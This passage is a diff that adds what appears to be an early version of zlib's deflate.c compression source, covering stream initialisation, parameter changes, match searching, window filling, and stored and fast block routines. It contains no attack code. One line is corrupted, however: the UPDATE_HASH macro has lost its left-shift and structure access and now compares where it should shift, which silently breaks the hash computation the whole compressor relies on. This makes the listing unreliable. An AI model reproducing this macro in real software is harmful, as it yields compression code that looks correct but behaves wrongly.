ush nice_length; /* quit search above this match length */ + ush max_chain; + compress_func func; +} config; + +local const config configuration_table[10] = { +/* good lazy nice chain */ +/* 0 */ {0, 0, 0, 0, deflate_stored}, /* store only */ +/* 1 */ {4, 4, 8, 4, deflate_fast}, /* maximum speed, no lazy matches */ +/* 2 */ {4, 5, 16, 8, deflate_fast}, +/* 3 */ {4, 6, 32, 32, deflate_fast}, + +/* 4 */ {4, 4, 16, 16, deflate_slow}, /* lazy matches */ +/* 5 */ {8, 16, 32, 32, deflate_slow}, +/* 6 */ {8, 16, 128, 128, deflate_slow}, +/* 7 */ {8, 32, 128, 256, deflate_slow}, +/* 8 */ {32, 128, 258, 1024, deflate_slow}, +/* 9 */ {32, 258, 258, 4096, deflate_slow}}; /* maximum compression */ + +/* Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4 + * For deflate_fast() (levels <= 3) good is ignored and lazy has a different + * meaning. + */ + +#define EQUAL 0 +/* result of memcmp for equal strings */ + +struct static_tree_desc_s {int dummy;}; /* for buggy compilers */ + +/* =========================================================================== + * Update a hash value with the given input byte + * IN assertion: all calls to to UPDATE_HASH are made with consecutive + * input characters, so that a running hash key can be computed from the + * previous key instead of complete recalculation each time. + */ +#define UPDATE_HASH(s,h,c) (h = (((h)<hash_shift) ^ (c)) & s->hash_mask) + + +/* =========================================================================== + * Insert string str in the dictionary and set match_head to the previous head + * of the hash chain (the most recent string with same hash key). Return + * the previous length of the hash chain. + * If this file is compiled with -DFASTEST, the compression level is forced + * to 1, and no hash chains are maintained. + * IN assertion: all calls to to INSERT_STRING are made with consecutive + * input characters and the first MIN_MATCH bytes of str are valid + * (except for the last MIN_MATCH-1 bytes of the input file). + */ +#ifdef FASTEST +#define INSERT_STRING(s, str, match_head) \ + (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \ + match_head = s->head[s->ins_h], \ + s->head[s->ins_h] = (Pos)(str)) +#else +#define INSERT_STRING(s, str, match_head) \ + (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \ + s->prev[(str) & s->w_mask] = match_head = s->head[s->ins_h], \ + s->head[s->ins_h] = (Pos)(str)) +#endif + +/* =========================================================================== + * Initialize the hash table (avoiding 64K overflow for 16 bit systems). + * prev[] will be initialized on the fly. + */ +#define CLEAR_HASH(s) \ + s->head[s->hash_size-1] = NIL; \ + zmemzero((Bytef *)s->head, (unsigned)(s->hash_size-1)*sizeof(*s->head)); + +/* ========================================================================= */ +int ZEXPORT deflateInit_(strm, level, version, stream_size) + z_streamp strm; + int level; + const char *version; + int stream_size; +{ + return deflateInit2_(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL, + Z_DEFAULT_STRATEGY, version, stream_size); + /* To do: ignore strm->next_in if we use it as window */ +} + +/* ========================================================================= */ +int ZEXPORT deflateInit2_(strm, level, method, windowBits, memLevel, strategy, + version, stream_size) + z_streamp strm; + int level; + int method; + int windowBits; + int memLevel; + int strategy; + const char *version; + int stream_size; +{ + deflate_state *s; + int noheader = 0; + static const char* my_version = ZLIB_VERSION; + + ushf *overlay; + /* We overlay pending_buf and d_buf+l_buf. This works since the average + * output size for (length,distance) codes is <= 24 bits. + */ + + if (version == Z_NULL || version[0] != my_version[0] || + stream_size != sizeof(z_stream)) { + return Z_VERSION_ERROR; + } + if (strm == Z_NULL) return Z_STREAM_ERROR; + + strm->msg = Z_NULL; + if (strm->zalloc == Z_NULL) { + strm->zalloc = zcalloc; + strm->opaque = (voidpf)0; + } + if (strm->zfree == Z_NULL) strm->zfree = zcfree; + + if (level == Z_DEFAULT_COMPRESSION) level = 6; +#ifdef FASTEST + level = 1; +#endif + + if (windowBits < 0) { /* undocumented feature: suppress zlib header */ + noheader = 1; + windowBits = -windowBits; + } + if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED || + windowBits < 9 || windowBits > 15 || level < 0 || level > 9 || + strategy < 0 || strategy > Z_HUFFMAN_ONLY) { + return Z_STREAM_ERROR; + } + s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state)); + if (s == Z_NULL) return Z_MEM_ERROR; + strm->state = (struct internal_state FAR *)s; + s->strm = strm; + + s->noheader = noheader; + s->w_bits = windowBits; + s->w_size = 1 << s->w_bits; + s->w_mask = s->w_size - 1; + + s->hash_bits = memLevel + 7; + s->hash_size = 1 << s->hash_bits; + s->hash_mask = s->hash_size - 1; + s->hash_shift = ((s->hash_bits+MIN_MATCH-1)/MIN_MATCH); + + s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte)); + s->prev = (Posf *) ZALLOC(strm, s->w_size, sizeof(Pos)); + s->head = (Posf *) ZALLOC(strm, s->hash_size, sizeof(Pos)); + + s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */ + + overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2); + s->pending_buf = (uchf *) overlay; + s->pending_buf_size = (ulg)s->lit_bufsize * (sizeof(ush)+2L); + + if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL || + s->pending_buf == Z_NULL) { + strm->msg = (char*)ERR_MSG(Z_MEM_ERROR); + deflateEnd (strm); + return Z_MEM_ERROR; + } + s->d_buf = overlay + s->lit_bufsize/sizeof(ush); + s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize; + + s->level = level; + s->strategy = strategy; + s->method = (Byte)method; + + return deflateReset(strm); +} + +/* ========================================================================= */ +int ZEXPORT deflateSetDictionary (strm, dictionary, dictLength) + z_streamp strm; + const Bytef *dictionary; + uInt dictLength; +{ + deflate_state *s; + uInt length = dictLength; + uInt n; + IPos hash_head = 0; + + if (strm == Z_NULL || strm->state == Z_NULL || dictionary == Z_NULL || + strm->state->status != INIT_STATE) return Z_STREAM_ERROR; + + s = strm->state; + strm->adler = adler32(strm->adler, dictionary, dictLength); + + if (length < MIN_MATCH) return Z_OK; + if (length > MAX_DIST(s)) { + length = MAX_DIST(s); +#ifndef USE_DICT_HEAD + dictionary += dictLength - length; /* use the tail of the dictionary */ +#endif + } + zmemcpy(s->window, dictionary, length); + s->strstart = length; + s->block_start = (long)length; + + /* Insert all strings in the hash table (except for the last two bytes). + * s->lookahead stays null, so s->ins_h will be recomputed at the next + * call of fill_window. + */ + s->ins_h = s->window[0]; + UPDATE_HASH(s, s->ins_h, s->window[1]); + for (n = 0; n <= length - MIN_MATCH; n++) { + INSERT_STRING(s, n, hash_head); + } + if (hash_head) hash_head = 0; /* to make compiler happy */ + return Z_OK; +} + +/* ========================================================================= */ +int ZEXPORT deflateReset (strm) + z_streamp strm; +{ + deflate_state *s; + + if (strm == Z_NULL || strm->state == Z_NULL || + strm->zalloc == Z_NULL || strm->zfree == Z_NULL) return Z_STREAM_ERROR; + + strm->total_in = strm->total_out = 0; + strm->msg = Z_NULL; /* use zfree if we ever allocate msg dynamically */ + strm->data_type = Z_UNKNOWN; + + s = (deflate_state *)strm->state; + s->pending = 0; + s->pending_out = s->pending_buf; + + if (s->noheader < 0) { + s->noheader = 0; /* was set to -1 by deflate(..., Z_FINISH); */ + } + s->status = s->noheader ? BUSY_STATE : INIT_STATE; + strm->adler = 1; + s->last_flush = Z_NO_FLUSH; + + _tr_init(s); + lm_init(s); + + return Z_OK; +} + +/* ========================================================================= */ +int ZEXPORT deflateParams(strm, level, strategy) + z_streamp strm; + int level; + int strategy; +{ + deflate_state *s; + compress_func func; + int err = Z_OK; + + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; + s = strm->state; + + if (level == Z_DEFAULT_COMPRESSION) { + level = 6; + } + if (level < 0 || level > 9 || strategy < 0 || strategy > Z_HUFFMAN_ONLY) { + return Z_STREAM_ERROR; + } + func = configuration_table[s->level].func; + + if (func != configuration_table[level].func && strm->total_in != 0) { + /* Flush the last buffer: */ + err = deflate(strm, Z_PARTIAL_FLUSH); + } + if (s->level != level) { + s->level = level; + s->max_lazy_match = configuration_table[level].max_lazy; + s->good_match = configuration_table[level].good_length; + s->nice_match = configuration_table[level].nice_length; + s->max_chain_length = configuration_table[level].max_chain; + } + s->strategy = strategy; + return err; +} + +/* ========================================================================= + * Put a short in the pending buffer. The 16-bit value is put in MSB order. + * IN assertion: the stream state is correct and there is enough room in + * pending_buf. + */ +local void putShortMSB (s, b) + deflate_state *s; + uInt b; +{ + put_byte(s, (Byte)(b >> 8)); + put_byte(s, (Byte)(b & 0xff)); +} + +/* ========================================================================= + * Flush as much pending output as possible. All deflate() output goes + * through this function so some applications may wish to modify it + * to avoid allocating a large strm->next_out buffer and copying into it. + * (See also read_buf()). + */ +local void flush_pending(strm) + z_streamp strm; +{ + unsigned len = strm->state->pending; + + if (len > strm->avail_out) len = strm->avail_out; + if (len == 0) return; + + zmemcpy(strm->next_out, strm->state->pending_out, len); + strm->next_out += len; + strm->state->pending_out += len; + strm->total_out += len; + strm->avail_out -= len; + strm->state->pending -= len; + if (strm->state->pending == 0) { + strm->state->pending_out = strm->state->pending_buf; + } +} + +/* ========================================================================= */ +int ZEXPORT deflate (strm, flush) + z_streamp strm; + int flush; +{ + int old_flush; /* value of flush param for previous deflate call */ + deflate_state *s; + + if (strm == Z_NULL || strm->state == Z_NULL || + flush > Z_FINISH || flush < 0) { + return Z_STREAM_ERROR; + } + s = strm->state; + + if (strm->next_out == Z_NULL || + (strm->next_in == Z_NULL && strm->avail_in != 0) || + (s->status == FINISH_STATE && flush != Z_FINISH)) { + ERR_RETURN(strm, Z_STREAM_ERROR); + } + if (strm->avail_out == 0) ERR_RETURN(strm, Z_BUF_ERROR); + + s->strm = strm; /* just in case */ + old_flush = s->last_flush; + s->last_flush = flush; + + /* Write the zlib header */ + if (s->status == INIT_STATE) { + + uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8; + uInt level_flags = (s->level-1) >> 1; + + if (level_flags > 3) level_flags = 3; + header |= (level_flags << 6); + if (s->strstart != 0) header |= PRESET_DICT; + header += 31 - (header % 31); + + s->status = BUSY_STATE; + putShortMSB(s, header); + + /* Save the adler32 of the preset dictionary: */ + if (s->strstart != 0) { + putShortMSB(s, (uInt)(strm->adler >> 16)); + putShortMSB(s, (uInt)(strm->adler & 0xffff)); + } + strm->adler = 1L; + } + + /* Flush as much pending output as possible */ + if (s->pending != 0) { + flush_pending(strm); + if (strm->avail_out == 0) { + /* Since avail_out is 0, deflate will be called again with + * more output space, but possibly with both pending and + * avail_in equal to zero. There won't be anything to do, + * but this is not an error situation so make sure we + * return OK instead of BUF_ERROR at next call of deflate: + */ + s->last_flush = -1; + return Z_OK; + } + + /* Make sure there is something to do and avoid duplicate consecutive + * flushes. For repeated and useless calls with Z_FINISH, we keep + * returning Z_STREAM_END instead of Z_BUFF_ERROR. + */ + } else if (strm->avail_in == 0 && flush <= old_flush && + flush != Z_FINISH) { + ERR_RETURN(strm, Z_BUF_ERROR); + } + + /* User must not provide more input after the first FINISH: */ + if (s->status == FINISH_STATE && strm->avail_in != 0) { + ERR_RETURN(strm, Z_BUF_ERROR); + } + + /* Start a new block or continue the current one. + */ + if (strm->avail_in != 0 || s->lookahead != 0 || + (flush != Z_NO_FLUSH && s->status != FINISH_STATE)) { + block_state bstate; + + bstate = (*(configuration_table[s->level].func))(s, flush); + + if (bstate == finish_started || bstate == finish_done) { + s->status = FINISH_STATE; + } + if (bstate == need_more || bstate == finish_started) { + if (strm->avail_out == 0) { + s->last_flush = -1; /* avoid BUF_ERROR next call, see above */ + } + return Z_OK; + /* If flush != Z_NO_FLUSH && avail_out == 0, the next call + * of deflate should use the same flush parameter to make sure + * that the flush is complete. So we don't have to output an + * empty block here, this will be done at next call. This also + * ensures that for a very small output buffer, we emit at most + * one empty block. + */ + } + if (bstate == block_done) { + if (flush == Z_PARTIAL_FLUSH) { + _tr_align(s); + } else { /* FULL_FLUSH or SYNC_FLUSH */ + _tr_stored_block(s, (char*)0, 0L, 0); + /* For a full flush, this empty block will be recognized + * as a special marker by inflate_sync(). + */ + if (flush == Z_FULL_FLUSH) { + CLEAR_HASH(s); /* forget history */ + } + } + flush_pending(strm); + if (strm->avail_out == 0) { + s->last_flush = -1; /* avoid BUF_ERROR at next call, see above */ + return Z_OK; + } + } + } + Assert(strm->avail_out > 0, "bug2"); + + if (flush != Z_FINISH) return Z_OK; + if (s->noheader) return Z_STREAM_END; + + /* Write the zlib trailer (adler32) */ + putShortMSB(s, (uInt)(strm->adler >> 16)); + putShortMSB(s, (uInt)(strm->adler & 0xffff)); + flush_pending(strm); + /* If avail_out is zero, the application will call deflate again + * to flush the rest. + */ + s->noheader = -1; /* write the trailer only once! */ + return s->pending != 0 ? Z_OK : Z_STREAM_END; +} + +/* ========================================================================= */ +int ZEXPORT deflateEnd (strm) + z_streamp strm; +{ + int status; + + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; + + status = strm->state->status; + if (status != INIT_STATE && status != BUSY_STATE && + status != FINISH_STATE) { + return Z_STREAM_ERROR; + } + + /* Deallocate in reverse order of allocations: */ + TRY_FREE(strm, strm->state->pending_buf); + TRY_FREE(strm, strm->state->head); + TRY_FREE(strm, strm->state->prev); + TRY_FREE(strm, strm->state->window); + + ZFREE(strm, strm->state); + strm->state = Z_NULL; + + return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK; +} + +/* ========================================================================= + * Copy the source state to the destination state. + * To simplify the source, this is not supported for 16-bit MSDOS (which + * doesn't have enough memory anyway to duplicate compression states). + */ +int ZEXPORT deflateCopy (dest, source) + z_streamp dest; + z_streamp source; +{ +#ifdef MAXSEG_64K + return Z_STREAM_ERROR; +#else + deflate_state *ds; + deflate_state *ss; + ushf *overlay; + + + if (source == Z_NULL || dest == Z_NULL || source->state == Z_NULL) { + return Z_STREAM_ERROR; + } + + ss = source->state; + + *dest = *source; + + ds = (deflate_state *) ZALLOC(dest, 1, sizeof(deflate_state)); + if (ds == Z_NULL) return Z_MEM_ERROR; + dest->state = (struct internal_state FAR *) ds; + *ds = *ss; + ds->strm = dest; + + ds->window = (Bytef *) ZALLOC(dest, ds->w_size, 2*sizeof(Byte)); + ds->prev = (Posf *) ZALLOC(dest, ds->w_size, sizeof(Pos)); + ds->head = (Posf *) ZALLOC(dest, ds->hash_size, sizeof(Pos)); + overlay = (ushf *) ZALLOC(dest, ds->lit_bufsize, sizeof(ush)+2); + ds->pending_buf = (uchf *) overlay; + + if (ds->window == Z_NULL || ds->prev == Z_NULL || ds->head == Z_NULL || + ds->pending_buf == Z_NULL) { + deflateEnd (dest); + return Z_MEM_ERROR; + } + /* following zmemcpy do not work for 16-bit MSDOS */ + zmemcpy(ds->window, ss->window, ds->w_size * 2 * sizeof(Byte)); + zmemcpy(ds->prev, ss->prev, ds->w_size * sizeof(Pos)); + zmemcpy(ds->head, ss->head, ds->hash_size * sizeof(Pos)); + zmemcpy(ds->pending_buf, ss->pending_buf, (uInt)ds->pending_buf_size); + + ds->pending_out = ds->pending_buf + (ss->pending_out - ss->pending_buf); + ds->d_buf = overlay + ds->lit_bufsize/sizeof(ush); + ds->l_buf = ds->pending_buf + (1+sizeof(ush))*ds->lit_bufsize; + + ds->l_desc.dyn_tree = ds->dyn_ltree; + ds->d_desc.dyn_tree = ds->dyn_dtree; + ds->bl_desc.dyn_tree = ds->bl_tree; + + return Z_OK; +#endif +} + +/* =========================================================================== + * Read a new buffer from the current input stream, update the adler32 + * and total number of bytes read. All deflate() input goes through + * this function so some applications may wish to modify it to avoid + * allocating a large strm->next_in buffer and copying from it. + * (See also flush_pending()). + */ +local int read_buf(strm, buf, size) + z_streamp strm; + Bytef *buf; + unsigned size; +{ + unsigned len = strm->avail_in; + + if (len > size) len = size; + if (len == 0) return 0; + + strm->avail_in -= len; + + if (!strm->state->noheader) { + strm->adler = adler32(strm->adler, strm->next_in, len); + } + zmemcpy(buf, strm->next_in, len); + strm->next_in += len; + strm->total_in += len; + + return (int)len; +} + +/* =========================================================================== + * Initialize the "longest match" routines for a new zlib stream + */ +local void lm_init (s) + deflate_state *s; +{ + s->window_size = (ulg)2L*s->w_size; + + CLEAR_HASH(s); + + /* Set the default configuration parameters: + */ + s->max_lazy_match = configuration_table[s->level].max_lazy; + s->good_match = configuration_table[s->level].good_length; + s->nice_match = configuration_table[s->level].nice_length; + s->max_chain_length = configuration_table[s->level].max_chain; + + s->strstart = 0; + s->block_start = 0L; + s->lookahead = 0; + s->match_length = s->prev_length = MIN_MATCH-1; + s->match_available = 0; + s->ins_h = 0; +#ifdef ASMV + match_init(); /* initialize the asm code */ +#endif +} + +/* =========================================================================== + * Set match_start to the longest match starting at the given string and + * return its length. Matches shorter or equal to prev_length are discarded, + * in which case the result is equal to prev_length and match_start is + * garbage. + * IN assertions: cur_match is the head of the hash chain for the current + * string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1 + * OUT assertion: the match length is not greater than s->lookahead. + */ +#ifndef ASMV +/* For 80x86 and 680x0, an optimized version will be provided in match.asm or + * match.S. The code will be functionally equivalent. + */ +#ifndef FASTEST +local uInt longest_match(s, cur_match) + deflate_state *s; + IPos cur_match; /* current match */ +{ + unsigned chain_length = s->max_chain_length;/* max hash chain length */ + register Bytef *scan = s->window + s->strstart; /* current string */ + register Bytef *match; /* matched string */ + register int len; /* length of current match */ + int best_len = s->prev_length; /* best match length so far */ + int nice_match = s->nice_match; /* stop if match long enough */ + IPos limit = s->strstart > (IPos)MAX_DIST(s) ? + s->strstart - (IPos)MAX_DIST(s) : NIL; + /* Stop when cur_match becomes <= limit. To simplify the code, + * we prevent matches with the string of window index 0. + */ + Posf *prev = s->prev; + uInt wmask = s->w_mask; + +#ifdef UNALIGNED_OK + /* Compare two bytes at a time. Note: this is not always beneficial. + * Try with and without -DUNALIGNED_OK to check. + */ + register Bytef *strend = s->window + s->strstart + MAX_MATCH - 1; + register ush scan_start = *(ushf*)scan; + register ush scan_end = *(ushf*)(scan+best_len-1); +#else + register Bytef *strend = s->window + s->strstart + MAX_MATCH; + register Byte scan_end1 = scan[best_len-1]; + register Byte scan_end = scan[best_len]; +#endif + + /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16. + * It is easy to get rid of this optimization if necessary. + */ + Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever"); + + /* Do not waste too much time if we already have a good match: */ + if (s->prev_length >= s->good_match) { + chain_length >>= 2; + } + /* Do not look for matches beyond the end of the input. This is necessary + * to make deflate deterministic. + */ + if ((uInt)nice_match > s->lookahead) nice_match = s->lookahead; + + Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead"); + + do { + Assert(cur_match < s->strstart, "no future"); + match = s->window + cur_match; + + /* Skip to next match if the match length cannot increase + * or if the match length is less than 2: + */ +#if (defined(UNALIGNED_OK) && MAX_MATCH == 258) + /* This code assumes sizeof(unsigned short) == 2. Do not use + * UNALIGNED_OK if your compiler uses a different size. + */ + if (*(ushf*)(match+best_len-1) != scan_end || + *(ushf*)match != scan_start) continue; + + /* It is not necessary to compare scan[2] and match[2] since they are + * always equal when the other bytes match, given that the hash keys + * are equal and that HASH_BITS >= 8. Compare 2 bytes at a time at + * strstart+3, +5, ... up to strstart+257. We check for insufficient + * lookahead only every 4th comparison; the 128th check will be made + * at strstart+257. If MAX_MATCH-2 is not a multiple of 8, it is + * necessary to put more guard bytes at the end of the window, or + * to check more often for insufficient lookahead. + */ + Assert(scan[2] == match[2], "scan[2]?"); + scan++, match++; + do { + } while (*(ushf*)(scan+=2) == *(ushf*)(match+=2) && + *(ushf*)(scan+=2) == *(ushf*)(match+=2) && + *(ushf*)(scan+=2) == *(ushf*)(match+=2) && + *(ushf*)(scan+=2) == *(ushf*)(match+=2) && + scan < strend); + /* The funny "do {}" generates better code on most compilers */ + + /* Here, scan <= window+strstart+257 */ + Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); + if (*scan == *match) scan++; + + len = (MAX_MATCH - 1) - (int)(strend-scan); + scan = strend - (MAX_MATCH-1); + +#else /* UNALIGNED_OK */ + + if (match[best_len] != scan_end || + match[best_len-1] != scan_end1 || + *match != *scan || + *++match != scan[1]) continue; + + /* The check at best_len-1 can be removed because it will be made + * again later. (This heuristic is not always a win.) + * It is not necessary to compare scan[2] and match[2] since they + * are always equal when the other bytes match, given that + * the hash keys are equal and that HASH_BITS >= 8. + */ + scan += 2, match++; + Assert(*scan == *match, "match[2]?"); + + /* We check for insufficient lookahead only every 8th comparison; + * the 256th check will be made at strstart+258. + */ + do { + } while (*++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + scan < strend); + + Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); + + len = MAX_MATCH - (int)(strend - scan); + scan = strend - MAX_MATCH; + +#endif /* UNALIGNED_OK */ + + if (len > best_len) { + s->match_start = cur_match; + best_len = len; + if (len >= nice_match) break; +#ifdef UNALIGNED_OK + scan_end = *(ushf*)(scan+best_len-1); +#else + scan_end1 = scan[best_len-1]; + scan_end = scan[best_len]; +#endif + } + } while ((cur_match = prev[cur_match & wmask]) > limit + && --chain_length != 0); + + if ((uInt)best_len <= s->lookahead) return (uInt)best_len; + return s->lookahead; +} + +#else /* FASTEST */ +/* --------------------------------------------------------------------------- + * Optimized version for level == 1 only + */ +local uInt longest_match(s, cur_match) + deflate_state *s; + IPos cur_match; /* current match */ +{ + register Bytef *scan = s->window + s->strstart; /* current string */ + register Bytef *match; /* matched string */ + register int len; /* length of current match */ + register Bytef *strend = s->window + s->strstart + MAX_MATCH; + + /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16. + * It is easy to get rid of this optimization if necessary. + */ + Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever"); + + Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead"); + + Assert(cur_match < s->strstart, "no future"); + + match = s->window + cur_match; + + /* Return failure if the match length is less than 2: + */ + if (match[0] != scan[0] || match[1] != scan[1]) return MIN_MATCH-1; + + /* The check at best_len-1 can be removed because it will be made + * again later. (This heuristic is not always a win.) + * It is not necessary to compare scan[2] and match[2] since they + * are always equal when the other bytes match, given that + * the hash keys are equal and that HASH_BITS >= 8. + */ + scan += 2, match += 2; + Assert(*scan == *match, "match[2]?"); + + /* We check for insufficient lookahead only every 8th comparison; + * the 256th check will be made at strstart+258. + */ + do { + } while (*++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + scan < strend); + + Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); + + len = MAX_MATCH - (int)(strend - scan); + + if (len < MIN_MATCH) return MIN_MATCH - 1; + + s->match_start = cur_match; + return len <= s->lookahead ? len : s->lookahead; +} +#endif /* FASTEST */ +#endif /* ASMV */ + +#ifdef DEBUG +/* =========================================================================== + * Check that the match at match_start is indeed a match. + */ +local void check_match(s, start, match, length) + deflate_state *s; + IPos start, match; + int length; +{ + /* check that the match is indeed a match */ + if (zmemcmp(s->window + match, + s->window + start, length) != EQUAL) { + fprintf(stderr, " start %u, match %u, length %d\n", + start, match, length); + do { + fprintf(stderr, "%c%c", s->window[match++], s->window[start++]); + } while (--length != 0); + z_error("invalid match"); + } + if (z_verbose > 1) { + fprintf(stderr,"\\[%d,%d]", start-match, length); + do { putc(s->window[start++], stderr); } while (--length != 0); + } +} +#else +# define check_match(s, start, match, length) +#endif + +/* =========================================================================== + * Fill the window when the lookahead becomes insufficient. + * Updates strstart and lookahead. + * + * IN assertion: lookahead < MIN_LOOKAHEAD + * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD + * At least one byte has been read, or avail_in == 0; reads are + * performed for at least two bytes (required for the zip translate_eol + * option -- not supported here). + */ +local void fill_window(s) + deflate_state *s; +{ + register unsigned n, m; + register Posf *p; + unsigned more; /* Amount of free space at the end of the window. */ + uInt wsize = s->w_size; + + do { + more = (unsigned)(s->window_size -(ulg)s->lookahead -(ulg)s->strstart); + + /* Deal with !@#$% 64K limit: */ + if (more == 0 && s->strstart == 0 && s->lookahead == 0) { + more = wsize; + + } else if (more == (unsigned)(-1)) { + /* Very unlikely, but possible on 16 bit machine if strstart == 0 + * and lookahead == 1 (input done one byte at time) + */ + more--; + + /* If the window is almost full and there is insufficient lookahead, + * move the upper half to the lower one to make room in the upper half. + */ + } else if (s->strstart >= wsize+MAX_DIST(s)) { + + zmemcpy(s->window, s->window+wsize, (unsigned)wsize); + s->match_start -= wsize; + s->strstart -= wsize; /* we now have strstart >= MAX_DIST */ + s->block_start -= (long) wsize; + + /* Slide the hash table (could be avoided with 32 bit values + at the expense of memory usage). We slide even when level == 0 + to keep the hash table consistent if we switch back to level > 0 + later. (Using level 0 permanently is not an optimal usage of + zlib, so we don't care about this pathological case.) + */ + n = s->hash_size; + p = &s->head[n]; + do { + m = *--p; + *p = (Pos)(m >= wsize ? m-wsize : NIL); + } while (--n); + + n = wsize; +#ifndef FASTEST + p = &s->prev[n]; + do { + m = *--p; + *p = (Pos)(m >= wsize ? m-wsize : NIL); + /* If n is not on any hash chain, prev[n] is garbage but + * its value will never be used. + */ + } while (--n); +#endif + more += wsize; + } + if (s->strm->avail_in == 0) return; + + /* If there was no sliding: + * strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 && + * more == window_size - lookahead - strstart + * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1) + * => more >= window_size - 2*WSIZE + 2 + * In the BIG_MEM or MMAP case (not yet supported), + * window_size == input_size + MIN_LOOKAHEAD && + * strstart + s->lookahead <= input_size => more >= MIN_LOOKAHEAD. + * Otherwise, window_size == 2*WSIZE so more >= 2. + * If there was sliding, more >= WSIZE. So in all cases, more >= 2. + */ + Assert(more >= 2, "more < 2"); + + n = read_buf(s->strm, s->window + s->strstart + s->lookahead, more); + s->lookahead += n; + + /* Initialize the hash value now that we have some input: */ + if (s->lookahead >= MIN_MATCH) { + s->ins_h = s->window[s->strstart]; + UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); +#if MIN_MATCH != 3 + Call UPDATE_HASH() MIN_MATCH-3 more times +#endif + } + /* If the whole input has less than MIN_MATCH bytes, ins_h is garbage, + * but this is not important since only literal bytes will be emitted. + */ + + } while (s->lookahead < MIN_LOOKAHEAD && s->strm->avail_in != 0); +} + +/* =========================================================================== + * Flush the current block, with given end-of-file flag. + * IN assertion: strstart is set to the end of the current match. + */ +#define FLUSH_BLOCK_ONLY(s, eof) { \ + _tr_flush_block(s, (s->block_start >= 0L ? \ + (charf *)&s->window[(unsigned)s->block_start] : \ + (charf *)Z_NULL), \ + (ulg)((long)s->strstart - s->block_start), \ + (eof)); \ + s->block_start = s->strstart; \ + flush_pending(s->strm); \ + Tracev((stderr,"[FLUSH]")); \ +} + +/* Same but force premature exit if necessary. */ +#define FLUSH_BLOCK(s, eof) { \ + FLUSH_BLOCK_ONLY(s, eof); \ + if (s->strm->avail_out == 0) return (eof) ? finish_started : need_more; \ +} + +/* =========================================================================== + * Copy without compression as much as possible from the input stream, return + * the current block state. + * This function does not insert new strings in the dictionary since + * uncompressible data is probably not useful. This function is used + * only for the level=0 compression option. + * NOTE: this function should be optimized to avoid extra copying from + * window to pending_buf. + */ +local block_state deflate_stored(s, flush) + deflate_state *s; + int flush; +{ + /* Stored blocks are limited to 0xffff bytes, pending_buf is limited + * to pending_buf_size, and each stored block has a 5 byte header: + */ + ulg max_block_size = 0xffff; + ulg max_start; + + if (max_block_size > s->pending_buf_size - 5) { + max_block_size = s->pending_buf_size - 5; + } + + /* Copy as much as possible from input to output: */ + for (;;) { + /* Fill the window as much as possible: */ + if (s->lookahead <= 1) { + + Assert(s->strstart < s->w_size+MAX_DIST(s) || + s->block_start >= (long)s->w_size, "slide too late"); + + fill_window(s); + if (s->lookahead == 0 && flush == Z_NO_FLUSH) return need_more; + + if (s->lookahead == 0) break; /* flush the current block */ + } + Assert(s->block_start >= 0L, "block gone"); + + s->strstart += s->lookahead; + s->lookahead = 0; + + /* Emit a stored block if pending_buf will be full: */ + max_start = s->block_start + max_block_size; + if (s->strstart == 0 || (ulg)s->strstart >= max_start) { + /* strstart == 0 is possible when wraparound on 16-bit machine */ + s->lookahead = (uInt)(s->strstart - max_start); + s->strstart = (uInt)max_start; + FLUSH_BLOCK(s, 0); + } + /* Flush if we may have to slide, otherwise block_start may become + * negative and the data will be gone: + */ + if (s->strstart - (uInt)s->block_start >= MAX_DIST(s)) { + FLUSH_BLOCK(s, 0); + } + } + FLUSH_BLOCK(s, flush == Z_FINISH); + return flush == Z_FINISH ? finish_done : block_done; +} + +/* =========================================================================== + * Compress as much as possible from the input stream, return the current + * block state. + * This function does not perform lazy evaluation of matches and inserts + * new strings in the dictionary only for unmatched strings or for short + * matches. It is used only for the fast compression options. + */ +local block_state deflate_fast(s, flush) + deflate_state *s; + int flush; +{ + IPos hash_head = NIL; /* head of the hash chain */ + int bflush; /* set if current block must be flushed */ + + for (;;) { + /* Make sure that we always have enough lookahead, except + * at the end of the input file. We need MAX_MATCH bytes + * for the next match, plus MIN_MATCH bytes to insert the + * string following the next match. + */ + if (s->lookahead < MIN_LOOKAHEAD) { + fill_window(s); + if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { + return need_more; + } + if (s->lookahead == 0) break; /* flush the current block */ + } + + /* Insert the string window[strstart .. strstart+2] in the + * dictionary, and set hash_head to the head of the hash chain: + */ + if (s->lookahead >= MIN_MATCH) { + INSERT_STRING(s, s->strstart, hash_head); 